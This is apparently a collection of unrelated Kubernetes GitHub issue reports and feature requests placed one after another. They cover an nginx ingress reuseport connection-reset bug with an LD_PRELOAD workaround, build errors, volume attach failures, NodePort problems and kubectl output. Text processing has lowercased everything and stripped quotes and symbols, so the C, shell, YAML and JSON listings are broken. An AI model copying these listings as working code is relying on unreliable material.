is this a bug report or feature request?  :\r this is a bug report\r   \r   what happened  :\r we found out that before the ingress controller reloads its configuration it first tests it by executing:\r    \r /usr/sbin/nginx -t -c /tmp/nginx-cfg061503324\r    \r \r this command checks for the syntax and tries to open the files referred in the configuration.\r the problem is that is also  bind s and  listen s on the sockets defined in the configuration. those sockets are already used by the running instance and receiving traffic. on a default nginx setup, those calls would silently fail during the configuration test.\r \r but because the nginx ingress controller uses the  reuseport  option on the nginx  listen  directive, the test process will successfully  bind  and  listen  to the sockets.  linux will start 3-way handshakes on the incoming connections and stack them up in this new process. linux has established connections and even buffered some data. therefore when the configuration test is complete and the temporary nginx process stops, all the stacked connections are reset. \r \r   what you expected to happen  :\r we expect no connection to be lost with the nginx ingress controller under perfect conditions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run apache bench to make a significant amount of requests through the ingress:\r    bash\r   10.244.12.1 is the ip of an nginx ingress controller pod.\r $ ab -n 100000 -c 30 10.244.12.1/hithere.html\r    \r \r in our test case we deployed an nginx pod with a static page named  hithere.html . the request rate is around 13k requests per seconds.\r the command above should fail from time to time with  apr_socket_recv: connection reset by peer  104  .\r \r the ingress controller is only reloading the configuration every 10 seconds and it can take some time before you actually see the error. to make it fail faster, connect to the ingress controller pod you are testing and simulate multiple configuration reloads:\r    bash\r $ kubectl exec -n kube-system -ti nginx-ingress-controller-181132680-4v55s bash\r $ for i in  seq 1 10 ; do /usr/sbin/nginx -c /etc/nginx/nginx.conf -t; done\r    \r \r you should see apache bench systematically failing because of reset connections.\r \r \r   anything else we need to know?  :\r we've opened  a ticket  https://trac.nginx.org/nginx/ticket/1300  on the nginx issue tracking system last week as we believe it's an issue that should be solved in nginx itself. calling  listen  when testing the configuration sounds wrong.\r \r however we don't know how long the nginx team will take to acknowledge  or refuse  this issue and fix it. this problem is probably affecting other users of the nginx ingress controller and we wanted at least to make other people aware of it. we could maybe fix the nginx ingress controller in the meantime if it takes too long.\r \r we plan to use a simple workaround rather than fixing and forking nginx directly.\r it consists in a very simple library pre-loaded before the  nginx -t  command is launched, library that overrides the  listen  implementation.\r \r    c\r  include <stdio.h>\r \r int listen int sockfd, int backlog \r {\r  printf \ would have called listen   on a socket\ \  ;\r  return 0;\r }\r    \r \r compiled with:\r    \r $ gcc -fpic -shared  -o fakelisten.so fakelisten.c -ldl\r    \r \r we would then modify the nginx ingress controller to preload this library before running the configuration test   ld_preload=fakelisten.so nginx -t -c ...  . \r \r \r   environment  :\r - kubernetes version  1.6.6 \r - nginx ingress controller version  0.9.0-beta.3 \r - os  16.04.2 lts  xenial xerus  \r - kernel  linux node-1 4.4.0-77-generic  98-ubuntu smp wed apr 26 08:34:02 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   / \r \r   what happened  :\r \r  pull-kubernetes-unit  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit  is failing \r \r   what you expected to happen  :\r work as well.\r

we recently added an  optimization  66948  that improves performance of checking inter-pod anti-affinity of existing pods. we should apply the same technique to checking affinity and anti-affinity terms of the pod being scheduled.\r this optimization works by finding all the nodes that can potentially match the inter-pod affinity/anti-affinity terms of a pod and cache the matching labels of those nodes. we do this once at the beginning of a scheduling cycle. then when each node feasibility is checked in the scheduling cycle, we only check whether the labels of the node exist in the cache, without processing the affinity/anti-affinity terms for each node.\r \r   is this a bug report or feature request?  :\r  \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   \r   what happened  :\r \r support tls override on the frontend for certain backends on an ingress controller.\r \r   what you expected to happen  :\r \r use case describe here: https://stackoverflow.com/questions/52440562/allow-single-ingress-to-run-http-without-forcing-ssl-using-traefik-ingress-contr\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r     apiversion: extensions/v1beta1\r     kind: ingress\r     metadata:\r       name: myingress\r     spec:\r       tls:\r       - secretname: mytlssecret\r       backend:\r         servicename: service1\r         serviceport: 80  <== can't override this to use http  non-tls on the frontend \r    \r   anything else we need to know?  :\r \r workaround is to create another ingress\r \r would be nice to have something like this:\r \r    \r     apiversion: extensions/v1beta1\r     kind: ingress\r     metadata:\r       name: myingress\r     spec:\r       tls:\r       - secretname: mytlssecret\r       backend:\r         servicename: service1\r         serviceport: 80\r         tlsfrontend: false\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: \r any\r \r - os  e.g. from /etc/os-release :\r \r any\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux ip-172-31-1-118 4.15.0-1019-aws  19-ubuntu smp fri aug 10 09:34:35 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : when i run  ./hack/update-bazel.sh , the following error occurs:\r    \r go: finding github.com/bazelbuild/bazel-gazelle 0.16.0\r go: finding github.com/bazelbuild/bazel-gazelle/internal/merger latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/label latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/walk latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/repos latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/resolve latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/language/proto latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/language/go latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/config latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/language latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/flag latest\r go: finding github.com/bazelbuild/bazel-gazelle latest\r go: finding github.com/bazelbuild/bazel-gazelle/internal/rule latest\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/diff.go:25:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/config\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/config\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/fix-update.go:29:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/flag\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/flag\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/fix-update.go:30:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/label\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/label\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/langs.go:19:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/language\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/language\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/langs.go:20:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/language/go\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/language/go\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/langs.go:21:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/language/proto\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/language/proto\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/fix-update.go:31:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/merger\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/merger\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/fix-update.go:32:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/repos\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/repos\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/fix-update.go:33:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/resolve\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/resolve\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/diff.go:26:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/rule\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/rule\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/version.go:26:2: use of internal package github.com/bazelbuild/bazel-gazelle/internal/version not allowed\r vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle/fix-update.go:35:2: unknown import path \ github.com/bazelbuild/bazel-gazelle/internal/walk\ : cannot find module providing package github.com/bazelbuild/bazel-gazelle/internal/walk\r !!! error in ./hack/update-bazel.sh:28\r   error in ./hack/update-bazel.sh:28. 'go install k8s.io/kubernetes/vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle' exited with status 1\r call stack:\r   1: ./hack/update-bazel.sh:28 main ... \r exiting with status 1\r    \r need to remove the following three lines from  update-bazel.sh  in order for it to run successfully:\r    \r go install k8s.io/kubernetes/vendor/github.com/bazelbuild/bazel-gazelle/cmd/gazelle                                                                                                   \r go install k8s.io/kubernetes/vendor/github.com/bazelbuild/buildtools/buildozer                                                                                                        \r go install k8s.io/kubernetes/vendor/k8s.io/repo-infra/kazel\r    \r \r   what you expected to happen  :  update-bazel.sh  is able to run without errors.\r \r   how to reproduce it  as minimally and precisely as possible   : install go 1.11, and run  ./hack/update-bazel.sh  from kubernetes/kubernetes directory\r \r   anything else we need to know?  : \r \r   environment  : go1.11.5\r

what would you like to be added  :\r \r currently, there are many  k8s.io/api/core/v1  imports in the project, and we could see two approaches for imports. i used ag to count the pkg imports and found out as below.\r \r    go\r $ ag -c \ \\t\\\ k8s.io/api/core/v1\\\ \  | wc -l\r     1215\r \r $ ag -c \ \\tv1 \\\ k8s.io/api/core/v1\\\ \  | wc -l\r      120\r    \r \r there are 1215 imports with  \ k8s.io/api/core/v1\   and 120 imports with  v1 \ k8s.io/api/core/v1\  .\r \r i met this problem for quite a long time since the first day i started to submit commits and prs to kubernetes - goimports keep adding alias before this pkg imports, and i have to delete it in the text editor.\r \r the way of importing this pkg with alias is preferred as discussion in https://github.com/kubernetes/kubernetes/pull/76337/files r273625182, and i quote from @johnschnake \r \r > goimports does this now for performance reasons since the path uses a symlink and the import path isnt the real path.\r \r   why is this needed  :\r \r + maintain the consistency of ways to import packages.\r + performance improvement for goimports\r \r /cc @johnschnake

currently there are no user-facing docs  beyond the initial design document  for security context.

motivation  today health checks suffer from at least 2 limitations - long pipeline: readiness -> kubelet -> master -> endpoints controller -> kube-proxy -> iptables - dead nodes cause unacceptable downtime: because the health status is push based, we only mark an endpoint unready after 40s  there are a few ways to handle this: - kube-proxy uses connection information to mark endpoints unhealthy: somewhat risky imo, because tcp has elongated timeouts and endpoints might get marked unhealthy because of a network blip. health checks should be declarative, i think we got this part right with readiness probes, each application knows its requirements. - we require each service to be backed by a webserver that handles the probes: requires an actual pod to back the service, which involves a userspace bounce and more failure modes. - this proposal    proposal 1. each node runs a daemon that consist of a node local readiness checker  local-hc  and a http server exporting cluster wide endpoints  proxy-hc  2. form a cluster wide mesh of proxy-hc 3. localhost proxy-hc exports  /svcname ->   ip:port{}  as union of local-hc x all other proxy-hc 4. kube-proxy hits localhost hc daemon every second                  | proxy hc |    ---         | proxy hc |                  |         /svc1            |                  |         181.1,.2         |             local hc                    local hc                /   \\         svc1  181.1   181.2       i think this will scale as long as we don't mesh ubernetes. we could even enrich proxy hc to query something like heapster for utilization info.   @smarterclayton @thockin @kubernetes/sig-network

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  yes    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : 1.4.0    yosemite    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.4.0    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : osx yosemite  homebrew bot  -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  : homebrew build bot fails due to race condition    what you expected to happen  : homebrew build bot should succeed    how to reproduce it    as minimally and precisely as possible : in osx yosemite, run  make what=/bin/kubectl goflags=-v     anything else do we need to know  : link to this issue here https://github.com/homebrew/homebrew-core/pull/5558

kubernetes version    use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+coreos.0\ , gitcommit:\ 278a1f7034bdba61cba443722647da1a8204a6fc\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t20:48:37z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : kolla openstack mitaka version with libvirt -   os    e.g. from /etc/os-release : coreos stable  1122.2.0  -   kernel    e.g.  uname -a  : 4.7.0-coreos -   install tools  : none -   others  : none    what happened  : cinder volume gets attached to a kubernetes worker node but not to a pod:      i1012 11:35:28.757270       1 reconciler.go:168  started attachvolume for volume \ kubernetes.io/cinder/762bf306-9748-4be0-a6c0-914821001116\  to node \ k8s-worker-1\  i1012 11:35:30.205320       1 attacher.go:95  attach operation successful: volume \ 762bf306-9748-4be0-a6c0-914821001116\  attached to node \ 69283384-874d-4b64-a2e3-ae628f79ec6d\ . i1012 11:35:30.512329       1 attacher.go:104  attach volume \ 762bf306-9748-4be0-a6c0-914821001116\  to instance \ 69283384-874d-4b64-a2e3-ae628f79ec6d\  failed with volume 762bf306-9748-4be0-a6c0-914821001116 is not attached to 69283384-874d-4b64-a2e3-ae628f79ec6d e1012 11:35:30.512479       1 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/cinder/762bf306-9748-4be0-a6c0-914821001116\\\ \  failed. no retries permitted until 2016-10-12 11:35:31.012447432 +0000 utc  durationbeforeretry 500ms . error: failed to attach volume \ vol01\  on node \ k8s-worker-1\  with: volume 762bf306-9748-4be0-a6c0-914821001116 is not attached to 69283384-874d-4b64-a2e3-ae628f79ec6d i1012 11:35:30.512632       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ mypod2\ , uid:\ f9bb7961-906f-11e6-a1fb-fa163e94e8c1\ , apiversion:\ v1\ , resourceversion:\ 335533\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ vol01\  on node \ k8s-worker-1\  with: volume 762bf306-9748-4be0-a6c0-914821001116 is not attached to 69283384-874d-4b64-a2e3-ae628f79ec6d i1012 11:35:31.062210       1 reconciler.go:168  started attachvolume for volume \ kubernetes.io/cinder/762bf306-9748-4be0-a6c0-914821001116\  to node \ k8s-worker-1\  e1012 11:35:32.745559       1 openstack_volumes.go:64  failed to attach 762bf306-9748-4be0-a6c0-914821001116 volume to 69283384-874d-4b64-a2e3-ae628f79ec6d compute i1012 11:35:32.745596       1 attacher.go:97  attach volume \ 762bf306-9748-4be0-a6c0-914821001116\  to instance \ 69283384-874d-4b64-a2e3-ae628f79ec6d\  failed with expected http response code  200  when accessing  post http://openstack-ha:8774/v2/470e93b0a7d649c28c62353c5f36c93b/servers/69283384-874d-4b64-a2e3-ae628f79ec6d/os-volume_attachments , but got 400 instead {\ badrequest\ : {\ message\ : \ invalid volume: volume '762bf306-9748-4be0-a6c0-914821001116' status must be 'available'. currently in 'in-use'\ , \ code\ : 400}} e1012 11:35:32.745724       1 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/cinder/762bf306-9748-4be0-a6c0-914821001116\\\ \  failed. no retries permitted until 2016-10-12 11:35:33.74569124 +0000 utc  durationbeforeretry 1s . error: failed to attach volume \ vol01\  on node \ k8s-worker-1\  with: expected http response code  200  when accessing  post http://openstack-ha:8774/v2/470e93b0a7d649c28c62353c5f36c93b/servers/69283384-874d-4b64-a2e3-ae628f79ec6d/os-volume_attachments , but got 400 instead {\ badrequest\ : {\ message\ : \ invalid volume: volume '762bf306-9748-4be0-a6c0-914821001116' status must be 'available'. currently in 'in-use'\ , \ code\ : 400}} i1012 11:35:32.745861       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ mypod2\ , uid:\ f9bb7961-906f-11e6-a1fb-fa163e94e8c1\ , apiversion:\ v1\ , resourceversion:\ 335533\ , fieldpath:\ \ } : type: 'warning' reason: 'failedmount' failed to attach volume \ vol01\  on node \ k8s-worker-1\  with: expected http response code  200  when accessing  post http://openstack-ha:8774/v2/470e93b0a7d649c28c62353c5f36c93b/servers/69283384-874d-4b64-a2e3-ae628f79ec6d/os-volume_attachments , but got 400 instead {\ badrequest\ : {\ message\ : \ invalid volume: volume '762bf306-9748-4be0-a6c0-914821001116' status must be 'available'. currently in 'in-use'\ , \ code\ : 400}}      pod hangs in 'containercreating' state and kubelet complains that volume is \ not yet attached\ . after manually detaching cinder volume from an openstack instance, it get's attached again and the error repeats.    what you expected to happen  : cinder volume gets mounted to a pod and pod goes to a 'running' state    how to reproduce it    as minimally and precisely as possible : use openstack as a cloud provider for kubernetes 1.4.0 and try creating a pod with cinder backed volume - either using a persistentvolumeclaim or directly in a pod definition.

log should be collected by both jenkins and fluentd.\r \r follow up https://github.com/kubernetes/kubernetes/issues/34679 issuecomment-259656118

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  : \ add container\ \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r while exploring solutions to allow troubleshooting of running pods   27140  it's becoming clear that the most straightforward solution for adding a container to a running pod will to allow containers to be added to the pod spec. this is sufficiently complex that i'm opening a separate issue to track it.\r \r requirements for adding a container include:\r \r     fetch container image when pod is added\r     respect admission restrictions\r     allow introspection of pod state  no hidden containers \r \r example:\r \r    \r % cat nginx.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r spec:\r   containers:\r   - image: nginx\r     name: nginx\r % kubectl create -f nginx.yaml\r pod \ nginx\  created\r % kubectl get po \r name      ready     status    restarts   age\r nginx     1/1       running   0          19s\r % kubectl patch pod nginx -p '{\ spec\ :{\ containers\ : {\ name\ : \ debug\ , \ image\ : \ debian\ , \ std\r in\ : true, \ tty\ : true} }}'                                                                                       \r \ nginx\  patched\r % kubectl get po \r name      ready     status              restarts   age\r nginx     1/2       containercreating   0          24s\r % kubectl get po \r name      ready     status    restarts   age\r nginx     2/2       running   0          25s\r % kubectl attach -it -c debug nginx \r if you don't see a command prompt, try pressing enter.\r root@nginx:/  busybox netstat -ntl\r active internet connections  only servers \r proto recv-q send-q local address           foreign address         state       \r tcp        0      0 0.0.0.0:80              0.0.0.0:                listen   \r    \r \r problems to solve:\r \r   side effects for pod's resources and qos class\r   lifecycle changes  e.g. to pod status  from new container exiting

as we work toward a dockerized build, we need to easily be able to figure out which files are generated and which files are \ source\ .  as such, generated files should have a predictable name   zz_generated.    or be under an obvious generated directorey   _output  .\r \r /cc @thockin @ncdc   36080  @ixdy @deads2k @liggitt @sttts @mikedanese @caesarxuchao

i have created  replicationcontroller  with  1.5  api client in  1.4.4  cluster.\r \r to delete  rc , i have followed these steps:\r \r   scale down to 0 replica\r   wait until status reports the replicas reaches 0\r   finally delete rc\r \r this process removes all pods. but  replicationcontroller  is still there.\r \r what is the problem here?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?   nodeport\r \r ---\r \r   is this a bug report or feature request?   bug repor\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+coreos.0\ , gitcommit:\ 8996efde382d88f0baef1f015ae801488fcad8c4\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t21:11:20z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : coreos\r -   kernel    e.g.  uname -a  : linux k8s-node-1.novalocal 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel xeon e312xx  sandy bridge  genuineintel gnu/linux\r -   install tools  : used kargo to deploy, terraform to provision and ansible to deploy\r -   others  : n/a\r \r \r   what happened  : i have created two clusters one manually and one with kargo artifacts, but in both clusters, i'm unable to connect to the nodeport from different nodes. i can only connect to the nodeport only when i call the node which hosts the actual pod. \r \r \r   what you expected to happen  : service should be reachable from any node through the nodeport.\r \r \r   how to reproduce it    as minimally and precisely as possible :  deploy a cluster with kargo artifacts. deploy a service, and try to invoke it through the nodeport. \r \r \r   anything else we need to know  : i can provide you any additional information if required. kindly proide any commands i should execute to get the information since i'm new to this domain. \r \r

is this a bug report   :\r \r  \r   what happened  :\r yum upgrade kube  from 1.7.0 to latest 1.7.4\r \r   what you expected to happen  :\r keep existing config\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. install older kube   e.g. 1.7.0   in my case i used some time back ansible: https://github.com/researchiteng/kubeadm-playbook/   to install k8s cluster with kubeadm and customize your /etc/systemd/system/kubelet.service.d/10-kubeadm.conf  e.g. change domain name .\r \r 2. upgrade to latest kube   e.g. 1.7.4 \r 3. notice that now /etc/systemd/system/kubelet.service.d/10-kubeadm.conf is \ reset\  to default values...\r \r   anything else we need to know?  :\r \r   environment  :\r - os  e.g. from /etc/os-release : rhel/centos\r - install tools: yum\r

failure cluster  d6a4c017d4239fba6d58  https://go.k8s.io/triage d6a4c017d4239fba6d58        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1340 oct 26 23:44:02.106: timed out waiting for service \ lb-internal\  to have a load balancer /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:572           failure cluster statistics: 10 tests failed,    16 jobs failed,    95 builds failed. failure stats cover 1 day time range '27 oct 2017 22:39 utc' to '28 oct 2017 22:39 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  services should be able to create an internal type load balancer  slow  | 11 | |  sig-network  esipp  slow  should only target nodes with endpoints | 11 | |  sig-network  services should be able to change the type and ports of a service  slow  | 9 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-cosbeta-k8sstable1-slow | 11 |  28 oct 2017 21:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sstable1-slow/2500  | | ci-kubernetes-e2e-gce-cosdev-k8sstable1-slow | 10 |  28 oct 2017 21:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosdev-k8sstable1-slow/2240  | | ci-kubernetes-e2e-gce-cosbeta-k8sdev-slow | 10 |  28 oct 2017 21:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sdev-slow/2112  |        previously closed issues for this cluster:  53921  52580   /assign @mrhohn @bprashanth  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | mrhohn |  sig-network  esipp  slow  should only target nodes with endpoints;  sig-network  esipp  slow  should work from pods;  sig-network  esipp  slow  should work for type=loadbalancer | | bprashanth |  sig-network  services should be able to change the type and ports of a service  slow  | | sig/network |  sig-network  esipp  slow  should only target nodes with endpoints;  sig-network  services should be able to change the type and ports of a service  slow ;  sig-network  esipp  slow  should work from pods |  </details><br>   current status  https://go.k8s.io/triage d6a4c017d4239fba6d58

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  kubectl get all  prints the replica set section twice.\r \r   what you expected to happen  :\r \r it should not print dupes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    shell\r $ kubectl get all -l app=myapp\r name                           desired   current   up-to-date   available   age\r deploy/myapp        4         4         4            4           169d\r \r name                                  desired   current   ready     age\r rs/myapp-1031441472        0         0         0         159d\r rs/myapp-1066912010        0         0         0         159d\r rs/myapp-1627954893        0         0         0         140d\r rs/myapp-1660980575        0         0         0         154d\r rs/myapp-2403377231        0         0         0         137d\r rs/myapp-2479791910        4         4         4         53d\r rs/myapp-3454720083        0         0         0         145d\r rs/myapp-3461390017        0         0         0         139d\r rs/myapp-3554658816        0         0         0         162d\r rs/myapp-3624978688        0         0         0         169d\r rs/myapp-378637676         0         0         0         154d\r rs/myapp-4151746477        0         0         0         139d\r rs/myapp-702975759         0         0         0         159d\r \r name                           desired   current   up-to-date   available   age\r deploy/myapp        4         4         4            4           169d\r \r name                                  desired   current   ready     age\r rs/myapp-1031441472        0         0         0         159d\r rs/myapp-1066912010        0         0         0         159d\r rs/myapp-1627954893        0         0         0         140d\r rs/myapp-1660980575        0         0         0         154d\r rs/myapp-2403377231        0         0         0         137d\r rs/myapp-2479791910        4         4         4         53d\r rs/myapp-3454720083        0         0         0         145d\r rs/myapp-3461390017        0         0         0         139d\r rs/myapp-3554658816        0         0         0         162d\r rs/myapp-3624978688        0         0         0         169d\r rs/myapp-378637676         0         0         0         154d\r rs/myapp-4151746477        0         0         0         139d\r rs/myapp-702975759         0         0         0         159d\r \r name                                        ready     status    restarts   age\r po/myapp-2479791910-9w7zx        1/1       running   0          14d\r po/myapp-2479791910-k2p44        1/1       running   0          14d\r po/myapp-2479791910-nb5lj        1/1       running   0          14d\r po/myapp-2479791910-wjmcn        1/1       running   1          14d\r \r name                        type       cluster-ip     external-ip   port s         age\r svc/myapp        nodeport   10.7.245.217   <none>        80:32046/tcp   169d\r    \r \r correct:\r \r    \r $ kubectl get rs,pod -l app=myapp\r name                                  desired   current   ready     age\r rs/myapp-1031441472        0         0         0         159d\r rs/myapp-1066912010        0         0         0         159d\r rs/myapp-1627954893        0         0         0         140d\r rs/myapp-1660980575        0         0         0         154d\r rs/myapp-2403377231        0         0         0         137d\r rs/myapp-2479791910        4         4         4         53d\r rs/myapp-3454720083        0         0         0         145d\r rs/myapp-3461390017        0         0         0         139d\r rs/myapp-3554658816        0         0         0         162d\r rs/myapp-3624978688        0         0         0         169d\r rs/myapp-378637676         0         0         0         154d\r rs/myapp-4151746477        0         0         0         139d\r rs/myapp-702975759         0         0         0         159d\r \r name                                        ready     status    restarts   age\r po/myapp-2479791910-9w7zx        1/1       running   0          14d\r po/myapp-2479791910-k2p44        1/1       running   0          14d\r po/myapp-2479791910-nb5lj        1/1       running   0          14d\r po/myapp-2479791910-wjmcn        1/1       running   1          14d\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.8.1-gke.1\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

